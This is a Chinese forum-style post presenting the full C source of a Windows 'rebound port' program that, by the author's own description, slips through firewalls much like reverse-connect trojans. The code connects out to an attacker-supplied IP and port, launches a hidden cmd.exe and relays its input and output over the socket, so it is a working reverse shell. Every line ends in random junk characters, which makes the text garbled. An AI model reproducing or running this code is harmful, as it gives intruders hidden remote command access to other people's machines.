这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /pAm8vK
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/* ============================== :{TmR3.
Rebound port in Windows NT lRa
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By wind,2006/7 c&| '3i+
===============================*/ hJC
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#include L&!g33J&
#include uFm(R/V
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#pragma comment(lib,"wsock32.lib") ~RZJ/%6F
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void OutputShell(); B"?+5A7
SOCKET sClient; !i~x"1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g~ppPAH
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void main(int argc,char **argv)
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{ 20Cie
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WSADATA stWsaData; (T%F!2i([U
int nRet; !TV_dKa
SOCKADDR_IN stSaiClient,stSaiServer; ^.Ih,@N6
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if(argc != 3) E&s'uE=w+
{ 4BduUH
printf("Useage:\n\rRebound DestIP DestPort\n"); aUIc=Z
return; q5'yD;[hE
} `lu"y F
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WSAStartup(MAKEWORD(2,2),&stWsaData); AihL>a%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]@ Sc}
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stSaiClient.sin_family = AF_INET; xZ S\#{
stSaiClient.sin_port = htons(0); iXG>j.w{79
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M0Kh>u
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c`$`0}
{ 8f{}ce'E*
printf("Bind Socket Failed!\n"); quCWc2pXX
return; >^a"Z[s[
} wEHAkc)Q
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stSaiServer.sin_family = AF_INET; JK:mQ_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +GYI2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k8x&aH
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~f]r>jQM
{ }!Diai*C
printf("Connect Error!"); N[
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return; v]`A_)[
} \: _.N8"
OutputShell(); Y#SmZ*zok
} ?2;n=&ZM
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void OutputShell() xvx\H'
{ eMm~7\
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char szBuff[1024]; U$/Hp#~X
SECURITY_ATTRIBUTES stSecurityAttributes; Kt4\&l-De
OSVERSIONINFO stOsversionInfo; z:i X]df
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AHMV@o`V
STARTUPINFO stStartupInfo; fN"oa>X
char *szShell; -'H+lrmv
PROCESS_INFORMATION stProcessInformation; Y)4Nydq
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -t~B@%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <Z_wDK/UR
stSecurityAttributes.lpSecurityDescriptor = 0; Hdq/E>u
stSecurityAttributes.bInheritHandle = TRUE; "$E!_
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b~haP.Cl:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /c$Ht
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q5\LdI2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :oj)
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stStartupInfo.wShowWindow = SW_HIDE; L(1,W<kYg
stStartupInfo.hStdInput = hReadPipe; kX ,FQG>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &zh+:TRm
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GetVersionEx(&stOsversionInfo); J!
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switch(stOsversionInfo.dwPlatformId) ad$Qs3)6o
{ )[M<72
case 1: *liPJ29C[
szShell = "command.com"; 0h@%q;g
break; :5cu,&<Gv
default: @X6#$ex
szShell = "cmd.exe"; Qqhb]<z
break; H+#wj|,+\
} @aD~YtL"n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \]`(xxt1
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send(sClient,szMsg,77,0); +|"n4iZ!)
while(1) DN8pJa
{ B]KLn?zt5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eRx[&-c
if(lBytesRead) $W_o$'crW
{ '3u]-GU2_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1uge>o&
send(sClient,szBuff,lBytesRead,0); 7SY->-H8
} rLw[y$2
else ep}/dBg
{ bq6{ty"
lBytesRead=recv(sClient,szBuff,1024,0); e>zk3\D!
if(lBytesRead<=0) break; 4tTZkJc
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q' V{vFfY%
} 33KPo0g7
} h'y@M+c(
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return; f93X5hFnF
}